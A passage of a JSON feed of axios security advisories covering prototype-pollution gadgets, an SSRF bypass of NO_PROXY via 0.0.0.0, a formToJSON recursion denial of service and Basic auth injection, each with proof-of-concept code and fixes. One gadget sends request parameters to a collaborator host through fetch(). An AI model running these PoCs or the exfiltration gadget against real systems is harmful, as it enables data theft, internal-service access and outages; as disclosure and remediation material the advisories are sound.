'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n  return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:25:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-mmx7-hfxf-jppx"],"source_kind":"github","identifiers":["GHSA-mmx7-hfxf-jppx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-08-28T13:00:55.312Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003c 0.33.0"},{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF","url":"https://github.com/advisories/GHSA-f4gw-2p7v-4548","title":"Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios","description":"## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:\u003cport\u003e/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:\u003cport\u003e/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =\u003e\n  new Promise((resolve) =\u003e {\n    const server = http.createServer(handler);\n    server.listen(0, host, () =\u003e resolve(server));\n  });\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst origin = await listen((req, res) =\u003e res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) =\u003e {\n  proxyRequests += 1;\n  res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n  console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n  await close(origin);\n  await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/\u003cpath\u003e` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`\u003e= 1.15.0, \u003c= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);   // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) =\u003e {\n  const parts = host.split('.');\n  if (parts.length !== 4) return false;\n  if (parts[0] !== '127') return false;   // ← 0.0.0.0: parts[0] = '0' → false\n  return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // ← '0.0.0.0' not in set\n  if (isIPv4Loopback(host)) return true;           // ← returns false for 0.0.0.0\n  return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) =\u003e {\n  const parts = host.split('.');\n  if (parts.length !== 4) return false;\n  if (parts[0] !== '127') return false;\n  return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;\n  return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname);    // → '0.0.0.0'   ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname);  // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0'));   // → false  ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true   ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0     ← NOT normalised by URL parser\n127.0.0.1   ← octal normalised correctly\n127.0.0.1   ← decimal normalised correctly\nfalse       ← 0.0.0.0 not detected as loopback  ⚠\ntrue        ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/\u003cpath\u003e. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) =\u003e host === '0.0.0.0';\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;\n  if (isIPv4Loopback(host)) return true;\n  if (isIPv4Unspecified(host)) return true;   // add this line\n  return isIPv6Loopback(host);\n};\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:20:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-f4gw-2p7v-4548"],"source_kind":"github","identifiers":["GHSA-f4gw-2p7v-4548"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.755Z","updated_at":"2026-08-28T13:00:55.313Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.31.0, \u003c 0.33.0"},{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ","url":"https://github.com/advisories/GHSA-42h9-826w-cgv3","title":"Axios: Excessive recursion in formDataToJSON can cause denial of service","description":"## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n  formToJSON(fd);\n  console.log(\"not vulnerable\");\n} catch (err) {\n  console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n  .post(\"http://127.0.0.1:1/\", fd, {\n    headers: { \"Content-Type\": \"application/json\" }\n  })\n  .catch((err) =\u003e console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n  → isLoopback (line 44) — wraps both checks, returns false\n    → shouldBypassProxy (line 127) — PUBLIC API, exported default\n      → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/');  // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF\nshouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n  if (host === '0.0.0.0') return true;  // ADD THIS LINE\n  const parts = host.split('.');\n  if (parts.length !== 4) return false;\n  if (parts[0] !== '127') return false;\n  return parts.every(p =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n}\n\nfunction isIPv6Loopback(host) {\n  if (host === '::1' || host === '::') return true;  // ADD '::'\n  // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T17:58:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-42h9-826w-cgv3"],"source_kind":"github","identifiers":["GHSA-42h9-826w-cgv3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T18:00:08.823Z","updated_at":"2026-08-28T13:00:57.094Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.28.0, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ajZxLTh4ODMtanY2Z84ABcPP","url":"https://github.com/advisories/GHSA-xj6q-8x83-jv6g","title":"Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    'Authorization',\n    'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end('{}');\n  server.close(() =\u003e {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth');         // ← top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || '';   // ← reads .username on the inherited chain\n    const password = configAuth.password || '';   // ← reads .password on the inherited chain\n    auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth');               // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, 